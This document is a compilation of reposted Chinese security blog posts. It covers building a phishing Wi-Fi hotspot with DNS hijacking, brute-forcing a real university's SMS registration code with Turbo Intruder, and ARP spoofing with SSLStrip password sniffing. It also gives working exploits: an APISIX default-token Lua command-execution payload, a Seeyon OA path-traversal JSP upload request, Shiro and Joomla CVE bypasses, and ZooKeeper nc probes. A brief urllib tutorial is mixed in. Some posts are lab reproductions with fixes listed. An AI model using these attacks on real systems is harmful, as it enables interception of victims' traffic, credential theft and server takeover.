kali搭建钓鱼WiFi

kali搭建钓鱼WiFi

本文转自逍遥子 并作补充

如何在kali下快速搭建钓鱼WiFi呢?全网最简单最详细的教程核能来袭。一起来看看吧。

准备

  • USB无线网卡(推荐8187 3070)
  • hostapd dnsmasq apache2
  • kali2020(最新版)

配置无线网卡

在终端执行 ifconfig查看是否有 wlan0如果存在,我们需要激活为监听模式。执行命令:

1
airmon-ng start wlan0

image

配置hostapd

1
vim hostapd.conf

写入下面内容

1
2
3
4
5
6
7
interface=wlan0mon
driver=nl80211
ssid=Chinanet #无线名称 随意即可
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0

image

配置dnsmasq文件

终端执行

1
vim dnsmasq.conf

写入内容如下:

1
2
3
4
5
6
7
8
interface=wlan0mon
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

image

配置防火墙和端口转发

1
2
3
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

image

这样做的目的是保证我们的鱼儿能够正常上网。

给无线网卡分配IP地址

1
2
ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

启动钓鱼热点

1
hostapd hostapd.conf

image

这样我们便可以看到有一个 china-net的热点,但是不能连接,不要着急,我们启动dnsmasq即可。

1
dnsmasq -C dnsmasq.conf -d

这样,我们的热点便可以正常连接并上网了。

image

左边为连接的设备,右边有设备访问的网站信息。

高级操作

嗅探目标图片

在终端执行

1
driftnet -i wlan0mon

便可以看到目标访问的站点图片信息。

image

中间人攻击

域名重定向

修改 /etc/ettercap/etter.dns文件,添加内容如下:

1
2
3
baidu.com      A   192.168.1.1
*.baidu.com A 192.168.1.1
www.baidu.com PTR 192.168.1.1

即,当我们访问百度,自动跳转到本地。
开启本地 apache

1
service apache2 start

将做好的钓鱼页面放到 /var/www/html目录下,然后终端执行 ettercap -G利用 ettercap进行DNS劫持,具体做法这里不再诉述。

image

当然,你也可以对目标进行数据包的捕获和分析,我们这里也不再说了。

填个坑

有不少人搭建完成后,反应上不了网,是因为dns冲突了。如你家的路由器的网段是192.168.1.1/24而在dns的配置文件中dhcp-option=3, 192.168.1.1这样会冲突,解决办法很简单,把192.168.1.1改成其他网段就行了,如192.168.5.1,但是后面的规则也要改。最简单的方法就是登陆路由器,将lan口地址192.168.1.1改掉就行了!

记一次使用Burpsuite下的插件Turbo intruder进行实战

记一次使用Burpsuite下的插件Turbo intruder进行实战

本文转自酷酷的繁星 并作补充

相信很多师傅在进行渗透测试或者漏洞挖掘的时候都会用到burpsuite这款神器,但是不知道师傅们用过burpsuite里面一款叫turbo intruder的插件么

不管这些,今天看了这篇文章的师傅我相信也会对这款插件有兴趣

安装教程等等的文章在各大论坛一找一大堆,但是实战的又有几个呢,对吧?

今天繁星就给大家带来turbo intruder实战教程

目标站点是某科技大学的站点

首先我们打开这个站点的首页看看

image

可以看到有注册按钮

我们点进去看看

image

然后在这里推荐师傅们一个很便利的短信接收平台

https://www.bfkdim.com/

image

好的,继续

手机号那里我们就填这个平台里面的一个手机号

开启我们的burpsuite,点“立即注册”抓个包

image

选择验证码右键

image

发送到turbo intruder

我们这边不同官方的代码

爆破验证码只需生成数字的所有排列组合就可以了,可以通过以下代码来生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from itertools import product

def brute_veify_code(target, engine, length):
pattern = '1234567890'
for i in list(product(pattern, repeat=length)):
code = ''.join(i)
engine.queue(target.req, code)

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True
)
brute_veify_code(target, engine, 6)

def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
if 'error' not in req.response:
table.add(req)

复制这段代码替换掉默认的

然后点击最下方攻击

image

我们可以看到各种数据,这速度反正我是爱了,师傅们还没爱吗

image

image

我们可以看到响应包,没有什么限制,所以我们可以继续进行枚举

PS:拿turbo intruder枚举有时候会崩,不用慌,关掉再来一遍就行了

由于本人电脑配置太水加上网络慢,所以还没枚举完验证码就过期了,跟我一样的师傅可以尝试多几次

经过两个小时的奋战后,终于…….

image

image

被ban了

image

没有办法只能换个手机号继续搞

重复做了一遍之后

当我再点击获取验证码,提示该手机号已经注册,这意味着什么?意味着刚刚的枚举成功了,我们回到turbo intruder找下响应包

image

image

响应包的字节是55,与其它的包不一样所以就是这个了

可以看到响应包,提示success

再看看其它的响应包

这个字节76的是验证码错误

image

字节88的是该手机已被注册

image

我们会发现前面的全是字节76后面的全88那我们要在76和88的交界部分找成功的包

另外,再声明一下,这篇文章是介绍turbo intruder的实战,重点在turbo intruder,有的师傅可能会觉得注册处爆破验证码并没什么用,但是大家想想,注册处爆破验证码的原理和找回密码处爆破验证码的原理有什么区别?再大胆点想象一下,要是管理员登录处有找回密码这一功能呢?对吧?

如何进行一次完整的 SSLStrip 攻击

如何进行一次完整的 SSLStrip 攻击

本文转自Glsakura 并作补充

简介

本文将介绍在局域网内,如何监听受害者流量并通过SSLstrip攻击获取敏感信息,分为如下两步:

  1. 中间人攻击,监听受害者流量
  2. SSLStrip攻击,获取敏感信息

实验环境

IP地址 MAC地址
win10 192.168.40.1 00:50:56:C0:00:08
网关 192.168.40.2 00:50:56:E7:9F:31
kali 192.168.40.128 00:0c:29:d8:d4:05
win7 192.168.40.130 00:0C:29:C9:34:A6
centos7 192.168.40.132 00:0c:29:bd:ef:65

kali:kali-linux-2020.1b-live-amd64.iso

win7:win7

纯净虚拟机系统,使用VMware或者VirtualBox导入镜像即可。
采用Win7SP1镜像制作,极限精简,无多余组件,非常纯净,使用流畅,系统已激活。

中间人攻击

中间人攻击(man-in-the-Middle Attack, MITM),就是攻击者扮演中间人进行攻击,可以劫持一段会话,窃取凭证和其他机密信息。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。

ARP (地址解析协议)

ARP 协议负责通过 IP 地址找到 MAC 地址(物理地址 ),在以太网中,是利用 MAC 地址来通讯的。

ARP协议是这样工作的:如win10需要给win7(IP为192.168.40.130)发送数据,为了知道谁是win7,首先win10发送一个广播包给网内所有机器“谁是192.168.40.130”,正常情况其他机器忽略该消息,仅win7回复“我是192.168.40.130”,于是通信就可以开始。所有的主机维护他们自己的ARP缓存表,所以不会每一次都发送广播,ARP表中包含IP对应的MAC地址。

如何进行ARP欺骗?

例如kali需要对win7进行arp欺骗,那他就不再忽略win10发送的消息,他也会大量的发送数据包回复“啊啊啊!我才是192.168.40.130”,然后win10就会错误地建立或者更新了自己ARP表。然后win10发送数据时都发到kali那去了。

攻击准备

mac 下准备

  1. 安装 macports 官网
  2. 更新 macports sudo port -d selfupdate
  3. 安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff
  4. 安装 nmap brew install nmap (如果没有安装 Homebrew,可以去 Homebrew 官网

linux 下准备

  1. 安装 dsniff apt-get install -y dsniff
  2. 安装 nmap apt-get install -y nmap

攻击步骤

寻找目标

使用nmap命令扫描局域网,获得主机列表
如果所在局域网路由器地址是 192.168.40.1,可以使用 nmap -sP 192.168.40.1/24 扫描

-sP 表示使用 ping 方式扫描,192.168.40.1/24”表示扫描”192.168.40.1-192.168.40.254”这个网段的所有机器。

开启 IP 转发

ARP欺骗一般目的是把自己伪装成网关,但如果不作处理,当被欺骗数据包到达后就会被本机丢弃(因为本机不是网关,不知道如何处理这类数据包),这会导致没有数据包返回给被欺骗主机,导致断网。这当然是不允许的。开启IP转发功能可以解决该问题。IP转发负责把该类数据包再转发给真正的网关处理,开启IP转发的方法。

mac 下:

1
sysctl -w net.inet.ip.forwarding=1

linux 下:

1
echo 1 >/proc/sys/net/ipv4/ip_forward

ARP 欺骗

假设被攻击的 IP 是 192.168.40.130,局域网的网关是 192.168.40.2,攻击电脑使用的网卡接口是 eth0(可以使用 ifconfig 命令查看), 则欺骗命令如下:

1
2
arpspoof -i eth0 -t 192.168.40.130 192.168.40.2
#arpspoof是dsniff的一个组件,主要用于进行arp欺骗使用

成功的的话在被攻击主机上arp表如图所示

image

分析数据

如果 ARP 欺骗成功,则被攻击的设备会把所有数据先传到我们电脑上,接下来可以使用 ettercap 软件来分析数据。

使用driftnet获取图片

安装driftnetapt-get install driftnet

开始获取driftnet -i eth0

找一个http的网站进行测试

1
inurl:“http” -https

例子:http://www.kan-tv.com/

Tips:https因为进行了加密不能直接获取,进行SSLStrip攻击后就可获取了

SSLStrip 攻击

2009年的黑帽大会上,一个名叫Moxie Marlinspike的研究人员,发布了一个叫sslstrip的工具。通过该工具,可以实现对ssl进行中间人攻击。

SSLstrip 也叫 https 降级攻击,攻击者拦截用户流量后,欺骗用户与攻击者进行 http 通信,攻击者与服务器保持正常通信 (http 或 https),从而获取用户信息。

攻击原理

攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替。同时,与目标服务器建立正常的HTTPS连接。由于HTTP通信是没有经过加密传输的,并没有HTTPS安全,所以攻击者能轻松实施嗅探。

  1. 通过中间人攻击监听 http 流量
  2. 更改重定向链接中的 location,替换 https 为 http,并记录
  3. 更改响应内容中的超链接,替换 https 为 http,并记录
  4. 与用户进行 http 通信,与服务器进行 https 通信(记录中本应是 https 的请求),从而明文获取用户信息

Tips:

当用户浏览的网页中包含https协议,会被转化为http协议的请求

但是sslstrip也不是万能的, 假如网页中没有https, 但是js代码绑定了跳转到https的协议请求的事件,那么sslstrip就失效了

攻击准备

  1. 监听 http 流量

  2. 获取 sslstrip工具

    Requirements

    1
    2
    Python >= 2.5 (apt-get install python)
    The python "twisted-web" module (apt-get install python-twisted-web)
    1
    2
    3
    apt-get -y install python python-twisted-web
    git clone https://github.com/moxie0/sslstrip.git
    cd sslstrip && python ./setup.py install

攻击步骤

开启内核转发功能保证攻击过程中被攻击者不断网

临时ip转发

1
echo 1 > /proc/sys/net/ipv4/ip_forward

永久ip转发

1
2
3
vim /etc/sysctl.conf
net.ipv4.ip_forward = 1 //修改值
sysctl -p /etc/sysctl.conf //使修改生效

把流量导入到 sslstrip 程序

设置iptables以将HTTP通信重定向到sslstrip。
输入命令: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
其中最后面的端口号(比如上面的 10000)就是 sslstrip 程序监听的端口号

如果攻击完成后要删除这条记录可以输入命令 iptables -t nat -D PREROUTING 1

查看 ip 转发表: iptables -t nat -L

运行arpspoof以说服网络他们应该将流量发送给你

1
arpspoof -i eth0 -t 192.168.40.130 192.168.40.2

启动sslstrip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sslstrip -l 10000

-w <文件名>,–write = <文件名>指定要登录的文件(可选)。
-p,–post仅记录SSL POST。(默认)
-s,–ssl记录往返服务器的所有SSL流量。
-a,–all记录往返服务器的所有SSL和HTTP通信。
-l <端口>,–listen = <端口>用于侦听的端口(默认为10000)。
-f,–favicon根据安全请求替换锁图标。
-k,–killsessions终止正在进行的会话。
-h 打印此帮助消息。

查看端口占用lsof -i tcp:10000

sslstrip -a -k -f -l 10000

image

可以看到,网页上没有任何不安全的警告或是提示,只是原先的HTTPS连接已经被HTTP连接所替换,并且为增加迷惑性,网页的图标被修改成了一个银色的锁图案。但是,假的毕竟是假的,一方面无法查看到任何证书的信息,另外如果在网址前输入https://,则网页无法发开。因此,sslstrip并不是万能的攻击方法。

使用ettercap对目标主机进行arp攻击,并且开始嗅探密码

终端界面嗅探密码ettercap -Tq -i eth0

1
2
3
4
-P  使用插件
-T 使用基于文本界面
-q 启动安静模式(不回显)
-M 启动ARP欺骗攻击

我们使用ettercap的GTK+ GUI图像界面ettercap -G

image

选择Sniff—-Unified-sniffing,然后选择网卡:eth0(我这里是eth0,大家根据情况选择)。

image

然后Hosts——Scan for hosts——Hosts list

我们的目标主机ip(192.168.40.130)选定目标主机,然后点add to target 1,将目标主机添加到目标;选定路由,点add to target 2,将路由添加到目标2

添加成功后,点击Mitm——ARP posoning ,勾选sniff remote connections。

之后start——start sniffing开始监听。

点击view——connections查看被攻击机访问的IP,端口,协议,发送和接收的数据包大小。

点击view——profiles查看被攻击机访问的链接。在下方可以查看更清晰的链接访问情况。

当然你也可以通过双击链接来查看profiles details,即访问网站的具体情况。

在这里,如果被攻击机输入密码登陆某一网站,我们可以检测到登陆的用户名及其密码。

这是刚刚检测到的一个用户名和登陆密码。这个网站完全没有对密码进行加密操作,出来的结果也是明文显示的。

image

这是另外一个站检测出来的,对密码进行了加密。

image

Tips:其实一个网站如果使用的都是https协议,那么安全性一般做的比较好,数据进行了加密的,也就是说你即使已经把https降低为http,即使捕获到了密码,你也不可能轻易解密的出来。

测试网址

1
2
3
4
5
6
http://www.freemojo.com
//http密码明文未加密
http://bbs.ylnet.com.cn/forum.php
//http密码加密了
http://www.discuz.net/forum.php
//https密码未加密

DNS欺骗

1
leafpad /etc/ettercap/etter.dns

在微软处添加:

`www.baidu.com A 192.168.40.132

image

ettercap -G(进入图形界面)

重复之前的步骤ARP欺骗的步骤,在start sniffing之前添加一个插件

image

双击启动dns_spoof

image

开始嗅探后,我们在目标机中ping一下百度

image

欺骗成功,如果将192.168.40.132改为钓鱼页面,就可以欺骗到用户账号密码

image

最后提醒大家,连接公共wifi时一定要小心!

参考资料

如何进行一次完整的 SSLStrip

ARP欺骗之ettercap图形化界面

APR攻击(Arpspoof)

linux ip 转发设置 ip_forward、ip_forward与路由转发

HTTP&HTTPS账号密码获取与ettercap局域网内DNS欺骗

使用ssltrip突破ssl加密截获密码

sslstrip

利用sslstrip和ettercap突破ssl嗅探密码

针对SSL的中间人攻击演示和防范

sslstrip Package Description

ZooKeeper 未授权访问漏洞(CVE-2014-085) 复现

ZooKeeper 未授权访问漏洞(CVE-2014-085) 复现

本文转自gclome 并作补充

最近想收集一下近几年的通用型漏洞,然后就找到了这个漏洞,那就先来这个漏洞吧!

ZooKeeper未授权访问漏洞是什么

ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境

漏洞原因

默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据甚至杀死服务。

(原因如下:默认的ACL中未进行限制访问)

image

用于访问控制的模式有:
(1)world 代表任何用户
(2)auth 不使用任何id,代表任何已经认证过的用户
(3)digest 使用username:password认证,password使用md5哈希之后base64再编码,现改成了sha1加密。
(4)ip 用客户端的ip作为ACL的标识。

环境搭建

测试机: Kali (192.168.133.134)
靶机: Kali(192.168.133.132)
版本:zookeeper-3.4.14

分别在测试机和靶机都安装zookeeper-3.4.14
安装命令如下:

1
2
3
4
5
6
#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动

搭建成功 默认端口是2181

漏洞证明

尝试连接

1
./zkCli.sh -server  192.168.133.132 2181

如下图,连接成功

image

image

并且存在此漏洞!

获取该服务器的环境

1
echo envi|nc 192.168.133.132 2181

通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

image

漏洞利用

part1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
stat:列出关于性能和连接的客户端的统计信息。
echo stat |nc 192.168.133.132 2181

ruok:测试服务器是否运行在非错误状态。
echo ruok |nc 192.168.133.132 2181

reqs:列出未完成的请求。
echo reqs |nc 192.168.133.132 2181

envi:打印有关服务环境的详细信息。
echo envi |nc 192.168.133.132 2181

dump:列出未完成的会话和临时节点。
echo dump |nc 192.168.133.132 2181

image

part2

我们在zk的客户端可以进行节点权限的查看和设置。

image

从上述操作可以看出,zk新创建的znode默认访问方式为world。我们通过addauth和setAcl给/test节点设置访问权限为digest,操作权限为cdrwa,用户名为user,密码为password。

当然,我们使用getAcl是无法获取可访问用户test的明文密码的(要是可以获取明文密码,不又是个漏洞嘛~~)。

另启zk客户端,执行ls /test,发现当前用户已经无法访问/test节点,提示信息为“Authentication is not valid”。解决方法就是addauth添加认证用户了,并且必须使用用户名和密码明文进行认证。

addauth添加digest认证用户user后,即可正常访问/test节点了。

另外,还有一点需要注意,znode的ACL是相互独立的。也就是说,任意不同节点可以用不同的acl列表,互不影响,并且ACL是不可被继承的。

我们在/test下创建leaf节点,可发现,leaf节点的认证方式为world,即任何用户都有访问权限。

利用zookeeper可视化管理工具进行连接

下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

image

image

修复方案

禁止把Zookeeper直接暴露在公网

添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

配置防火墙策略,只允许指定IP访问2181端口

配置服务ACL限制IP访问

参考链接

https://blog.csdn.net/u011721501/article/details/44062617
https://www.cnblogs.com/0nc3/p/12071281.html
https://xz.aliyun.com/t/6103#toc-7
https://blog.csdn.net/Aaron_Miller/article/details/106049421
https://www.cnblogs.com/ilovena/p/9484522.html

Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞复现

Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞复现

本文转自Senimo_ 并作补充

漏洞描述

Apache Shiro 是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
CVE-2020-1957,Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。

漏洞影响

环境搭建

执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用:

1
2
cd vulhub/shiro/CVE-2020-1957
docker-compose up -d

环境启动后,访问http://x.x.x.x:8080即可查看首页:

image

这个应用中对URL权限的配置如下:

1
2
3
4
5
6
7
8
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}

漏洞复现

使用BurpSuite抓取数据包,访问/admin/目录:

image

回显302并跳转到登录页面:

image

构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面:

image

URL请求过程:

  • 客户端请求URL: /xxx/..;/admin/
  • Shrio 内部处理得到校验URL为 /xxxx/..,校验通过
  • SpringBoot 处理 /xxx/..;/admin/ , 最终请求 /admin/, 成功访问了后台请求。

漏洞POC

构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面。

参考链接

https://www.safedog.cn/news.html?id=4441
https://blog.spoock.com/2020/05/09/cve-2020-1957/

Apache APISIX 默认密钥漏洞(CVE-2020-13945)

Apache APISIX 默认密钥漏洞(CVE-2020-13945)

本文转自horisMMM 并作补充

APISIX简介

官方一句话介绍:Apache APISIX是一个高性能API网关。

API网关又是什么?

百度:API网关,软件术语,两个相互独立的局域网之间通过路由器进行通信,中间的路由被称之为网关。

任何一个应用系统如果需要被其他系统调用,就需要暴露 API,这些 API 代表着一个一个的功能点。

如果两个系统中间通信,在系统之间加上一个中介者协助 API 的调用,这个中介者就是 API 网关。

那意思就是Apisix是两个系统的一个中介,可以使用这个中间管理系统API。

存在漏洞

在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

意思就是有一个默认的Token,可以直接得到管理员权限,并插入攻击脚本。

漏洞复现

docker-compose up -d 搭建环境

docker ps 查看端口为9080

image

访问 127.0.0.1/asixpix/admin/routes,显示token不正确

image

抓这个包,把方法改为POST,加上X-API-KEY: edd1c9f034335f136f87ad84b625c8f1,加上payload

1
2
3
4
5
6
7
8
9
10
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}

image

然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:

1
http://127.0.0.1:9080/attack?cmd=id

image

payload分析

查看官方文档,观察创建路由的方法

https://apisix.apache.org/zh/docs/apisix/getting-started/

image

与payload对比,发现payload格式与官方创建路由一致,只是利用script插入了一段lua恶意脚本。

在 Apache APISIX 中,我们在 Route 实体中新增了 script 执行逻辑,可用于接收 Dashboard 生成的 Lua 函数并执行,它支持调用已有插件以复用代码。另外,它也作用于 HTTP 请求的生命周期中的各个阶段,如 access、header_filer、body_filter 等,系统会在相应阶段自动执行 script 函数对应阶段代码
image

接下来对lua脚本进行分析,\n是换行

1
2
3
4
5
6
7
8
9
local _M = {} \n function _M.access(conf, ctx)//在access阶段进行处理,检查如果达到的不健康次数超过了配置的最大次数,则就被break掉。这里没找到看得懂的资料。
local os = require('os')//加载os模块,用于进行文件操作
local args = assert(ngx.req.get_uri_args()) //assert()是断言,类似于try(),这里是获取uri中给的参数。
local f = assert(io.popen(args.cmd, 'r'))//io.popen()用于执行系统命令,'r'是模式
local s = assert(f:read('*a'))//读取全部内容
ngx.say(s)//输出,还有一种方法是ngx.print(),但两者有区别
f:close()
end
return _M

function _M.access(conf, ctx)

image

assert()

image

read(‘a’)

https://blog.csdn.net/u013625451/article/details/78879739

image

urllib库进行网络请求后返回的HTTPResponse对象的用法总结

urllib库进行网络请求后返回的HTTPResponse对象的用法总结

本文转自「已注销」 并作补充

不管是使用urllib.request.urlopen()方法,还是使用opener.open()方法,都返回同样类型的HTTPResponse对象,用法总结如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# !/usr/bin/env python
# -*- coding:utf-8 -*-

from urllib import request
from urllib import response

URL="http://www.baidu.com/"

# 构造请求头信息
# 反反爬虫:设置User-Agent
request_headers={
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
}

# 构造请求对象,并添加请求头
req=request.Request(URL,headers=request_headers)
# 发起请求
resp=request.urlopen(req)


print(type(resp)) # <class 'http.client.HTTPResponse'>
# 获取HTTP协议版本号(10 for HTTP/1.0, 11 for HTTP/1.1)
print(resp.version)

# 获取响应码
print(resp.status)
print(resp.getcode())

# 获取响应描述字符串
print(resp.reason)

# 获取实际请求的页面url(防止重定向用)
print(resp.geturl())

# 获取特定响应头信息
print(resp.getheader(name="Content-Type"))
# 获取响应头信息,返回二元元组列表
print(resp.getheaders())
# 获取响应头信息,返回字符串
print(resp.info())

# 读取响应体
print(resp.readline().decode('utf-8'))
print(resp.read().decode('utf-8'))

提取APK中的URL地址

提取APK中的URL地址

本文转自風月长情 并作补充

一、目的

客户端渗透测试前期信息收集过程中可以在APK中检索开发过程中没有删掉的URL地址,在这些地址中可能会发现后台、搜索引擎、子域名查找不到的一些资源。

二、操作

反编译APK文件
apktool d <xxx.apk>
将反编译的文件zip打包发送到linux系统中
image

使用grep命令进行URL正则匹配
通过grep正则匹配包下边所有文件的uri地址,然后排序,删除重复行,最后重定向到文件中
grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /Kevin/com.sogou.map.android.maps/ |sort|uniq >> test.txt
image

然后在搜索出来的地址中查看是否有敏感地址:
比如这个地址就不在我搜索的上千个子域中:
image

随便一试直接进入后台,到此文件上传拿shell一个高危漏洞又到手了,香吧~
image

致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现

致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现

本文转自Vista、 并作补充

01 漏洞描述

致远OA是一套办公协同管理软件。致远OA wpsAssistServlet接口存在任意文件上传漏洞,攻击者通过漏洞可以发送特定的请求包上传恶意文件,获取服务器权限。

02 影响范围

致远OA A6、A8、A8N (V8.0SP2,V8.1,V8.1SP1)
致远OA G6、G6N (V8.1、V8.1SP1)

03 利用方式

1、调用文件上传接口上传测试文件,请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/test.jsp&fileId=2 HTTP/1.1
Host: 127.0.0.1
Content-Length: 349
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="upload"; filename="test.txt"
Content-Type: application/vnd.ms-excel

<% out.println("seeyon_vuln");%>
--59229605f98b8cf290a7b8908b34616b--

2、文件上传成功时,响应情况如下图所示:
image

3、访问上传文件:http://xx.xx.xx.xx/test.jsp,发现该文件成功被服务器解析。
image
image

04 修复方案

1、对路径 /seeyon/htmlofficeservlet 进行限制访问。
2、致远官方已发布补丁,请联系官方安装相应补丁。

CVE-2023-23752 POC Joomla! 未授权访问漏洞

CVE-2023-23752 POC Joomla! 未授权访问漏洞

本文转自雨苁 并作补充

漏洞描述

在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,可以对 web 服务端点进行未经授权访问。

漏洞详情

项目: Joomla!
子项目: CMS
影响:严重
严重性: 高
概率:高
版本: 4.0.0-4.2.7
利用类型:不正确的访问控制
报告日期: 2023-02-13
修复日期: 2023-02-16
CVE 编号: CVE​​-2023-23752

描述

不正确的访问检查允许对 web 服务端点进行未经授权的访问。

受影响的版本

Joomla! CMS 版本 4.0.0-4.2.7

解决方案

升级到版本 4.2.8

Joomla!安全中心公告

https://developer.joomla.org/security-centre
image

POC

/api/index.php/v1/config/application?public=true

批量测试

httpx -l ip.txt -path '/api/index.php/v1/config/application?public=true'

测试效果

image

漏洞分析

https://xz.aliyun.com/t/12175
Joomla(CVE-2023-23752)——一个请求参数 打穿Rest API
由于公司对漏洞的要求比较高,代码审计很快集中到了请求路由的代码块。不管是Wordpress/RounderCube还是PhpMyAdmin以及一些知名度比较高的php应用(一个Java安全研究员感到头皮发麻),我的重点对象变成了请求路由的代码追踪,一旦分析经过路由选择之后,剩下的业务代码我是完全不看了。虽然有点不专业,但是这是挖掘未授权漏洞最好的道路,最终终于找到了一个不错的高危漏洞——Joomla未授权访问Rest API。

受影响版本

Joomla大致有三个路由入口,分别是:
根目录的index.php(用户访问文章)
根目录的administrator/index.php(管理员管理)
根目录的api/index.php(开发者爱好的Rest API)
未授权的接口正是第三个入口。因此影响的只有Joomla4.0.0——Joomla4.2.7(Rest API 4.x正式开发)

分析

这里仅重点分析api/index.php这个路由的问题(index.php和administrator/index.php找不到漏洞)。
网站输入/api/index.php开启debug模式
image

index.php会来到app.php。其中$app主要的input成员存放所有的HTTP请求参数
image

在execute()函数中,会经过sanityCheckSystemVariables函数,此函数用来过滤渲染模板的参数,主要防止XSS漏洞。setupLogging和createExtensionNameSpaceMap主要是系统的额外记录工作。doExecute就是具体的路由逻辑函数。
image
doExecute中最重要的就是route和dispatch函数。

route:路由选择与鉴权

整个route函数分为两部分,路由选择和身份校验。
image

逻辑十分清晰,主要是直接通过parseApiRoute函数从请求的方法和url到$routers中找到对应的路由信息
image

身份验证的代码加上debug信息可以知道public参数控制着API是否对外开放。默认情况下是false,不对外开放。但是这里大部分情况都会选择直接下一步。但是回过头看路由获取parseApiRoute时会有新的发现
image

这里发送请求
http://x.x.x.x/api/index.php/v1/banners?public=true
再来看route变量会发现惊喜
image
此时route.var中的变量会被请求的变量覆盖。由于public=true,所以接口不需要身份验证,直接到达路由分发,也就是业务逻辑。

受损的API清单

由于能够直接访问API了,从中找到最终的信息即可。
/api/index.php/v1/config/application?public=true
此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码。
其他受损API如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
